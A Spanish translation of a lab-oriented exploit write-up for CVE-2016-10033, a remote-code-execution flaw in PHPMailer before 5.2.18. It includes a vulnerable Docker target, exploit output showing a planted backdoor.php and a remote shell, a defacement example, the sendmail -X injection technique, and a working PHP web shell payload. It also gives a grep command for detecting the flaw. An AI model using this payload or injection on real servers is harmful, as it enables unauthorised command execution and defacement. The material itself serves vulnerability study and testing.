
PHPMailer < 5.2.18 Exploit de ejecución remota de código y contenedor vulnerable
PHPMailer es la clase de transporte más popular del mundo, con un estimado de 9 millones de usuarios a nivel mundial. Las descargas continúan a un ritmo significativo diariamente. Usado por muchos proyectos de código abierto: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! y muchos más.
PHPMailer anterior a su versión 5.2.18 sufre de una vulnerabilidad que podría conducir a la ejecución remota de código (RCE). La función mailSend en el transporte isMail en PHPMailer, cuando la propiedad Sender no está configurada, podría permitir a atacantes remotos pasar parámetros adicionales al comando mail y consecuentemente ejecutar código arbitrario a través de una " (barra invertida y comillas dobles) en una dirección From manipulada.
Para configurar un entorno vulnerable para tu prueba necesitarás Docker instalado, y simplemente ejecuta el siguiente comando:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
Y generará una aplicación web vulnerable en tu host en el puerto 8080

Para explotar este objetivo solo ejecuta:
./exploit host:port
Si estás usando esta imagen vulnerable, puedes simplemente ejecutar:
./exploit localhost:8080
Después de la explotación, un archivo llamado backdoor.php se almacenará en la carpeta raíz del directorio web. Y el exploit te dará un shell donde puedes enviar comandos al backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Y eso es todo, tienes tu shell. Hay otro exploit, que ilustra otro caso de uso.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
Y si visitas la página nuevamente, verás esto:

Antes de este commit en class.phpmailer.php en cierto escenario no hay filtro en los caracteres especiales de la dirección de correo del remitente. Esta falla puede conducir a una ejecución remota de código, a través de la función mail aquí.
Analizando el código, no hay filtro en la función mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender se añade directamente a la variable $params, la cual era filtrada en la función validateAddress(), pero como usa la especificación RFC 3696, permite ciertos caracteres que romperán cosas.
En este caso, comillas:
Además de usar comillas con el carácter de barra invertida, las comillas dobles convencionales pueden usarse para rodear cadenas. Por ejemplo
"Abc@def"@example.com
"Fred Bloggs"@example.com
son formas alternativas de los dos primeros ejemplos anteriores. Estas formas entrecomilladas raramente se recomiendan y son poco comunes en la práctica, pero, como se discutió anteriormente, deben ser soportadas por aplicaciones que procesan direcciones de correo electrónico. En particular, las formas entrecomilladas a menudo aparecen en el contexto de direcciones asociadas con transiciones de otros sistemas y contextos; esos requisitos transicionales todavía surgen y, dado que un sistema que acepta una dirección de correo electrónico proporcionada por el usuario no puede "saber" si esa dirección está asociada con un sistema heredado, las formas de dirección deben ser aceptadas y pasadas al entorno de correo electrónico.
Puedes leer todo el RFC aquí si quieres. Pero también, si la versión de PHP es inferior a 5.2.0 y no hay PCRE instalado, la variable $patternselect en validateAddress() se establecerá en noregex. Esto causará que la entrada pueda evitar cualquier comprobación de expresión regular. Solo pasará por una pequeña verificación:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Luego, el flujo del código va a la función mailPassthru(), la cual, si se ejecuta en safe_mode no será vulnerable a esta falla, como lo indica el siguiente código
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Pero, si no se ejecuta en safe_mode, entonces nuestro parámetro especial será pasado a mail() y, si tenemos suerte, obtendrá nuestro archivo que contiene lo que queramos que se escriba donde elijamos que se escriba.
La explotación de la función mail() de PHP no es algo nuevo, pero sigue viva y la gente aún la usa. Para explicar cómo funciona, veamos cómo está definida la función mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Existen varios métodos de explotación para diferentes resultados, nos centraremos en la explotación del 5º parámetro para obtener Ejecución Remota de Código (RCE). El parámetro $additional_parameters se utiliza para pasar banderas adicionales como opciones de línea de comandos al programa configurado para enviar el correo. Esta configuración está definida por la variable sendmail_path.
Una nota de seguridad de la documentación oficial de PHP:
El parámetro additional_parameters se puede usar para pasar banderas adicionales como opciones de línea de comandos al programa configurado para enviar correo, según la configuración sendmail_path. Por ejemplo, esto se puede usar para establecer la dirección del remitente del sobre al usar sendmail con la opción -f sendmail.
Este parámetro es escapado internamente por escapeshellcmd() para evitar la ejecución de comandos. escapeshellcmd() previene la ejecución de comandos, pero permite agregar parámetros adicionales. Por razones de seguridad, se recomienda que el usuario desinfecte este parámetro para evitar agregar parámetros no deseados al comando shell.
Considerando los parámetros adicionales que pueden ser inyectados, usaremos -X para explotar esta falla. Más sobre el parámetro -X
-X logfile
Registra todo el tráfico de entrada y salida de los mailers en el archivo de registro indicado. Esto solo debe usarse como último recurso para depurar errores del mailer. Registrará muchos datos muy rápidamente.
También hay otros parámetros interesantes que debes saber que existen:
-Cfile
Usa un archivo de configuración alternativo. Sendmail renuncia a cualquier privilegio mejorado (set-user-ID o set-group-ID) si se especifica un archivo de configuración alternativo.
Y
-O option=value
Establece la opción option al valor especificado. Esta forma utiliza nombres largos.
Y para la opción -O, QueueDirectory es la opción más interesante, esta opción selecciona el directorio en el cual encolar los mensajes.
Si deseas leer la lista completa de parámetros y opciones, simplemente man sendmail o léelo en línea aquí
Basado en esta información, y la capacidad de controlar al menos uno de los otros parámetros, podemos explotar el host. A continuación los pasos para una explotación exitosa:
$additional_parameters y otro parámetro de mail()webroot (ej. /var/www/html para otros sistemas, /www para este ejemplo)system() en este ejemplo, con un toque de base64 y algunos caracteres especiales | para hacerlo más fácil de analizar.Recuerda que la opción -X escribirá el archivo de registro, que contendrá entre la información de registro tu payload PHP, en el directorio que indiques. Un ejemplo de un código PHP vulnerable:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Si ejecutas el código anterior, creará un archivo de registro en /www/backdoor.php, esta es la esencia de este exploit.
A continuación el payload usado en este ejemplo
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
¿Quieres una forma fácil, con un solo comando, de intentar detectar esta falla? ¡Recuerda este mágico comando grep!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Ejecutarlo contra este repositorio resultará en
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Esta vulnerabilidad fue encontrada por Dawid Golunski.
Este programa o el anterior es SOLO con fines educativos. No lo use sin permiso. Se aplica el descargo de responsabilidad habitual, especialmente el hecho de que yo (opsxcq) no soy responsable de ningún daño causado por el uso directo o indirecto de la información o funcionalidad proporcionada por estos programas. El autor o cualquier proveedor de Internet NO asume ninguna responsabilidad por el contenido o mal uso de estos programas o cualquier derivado de los mismos. Al usar estos programas aceptas el hecho de que cualquier daño (pérdida de datos, caída del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de opsxcq.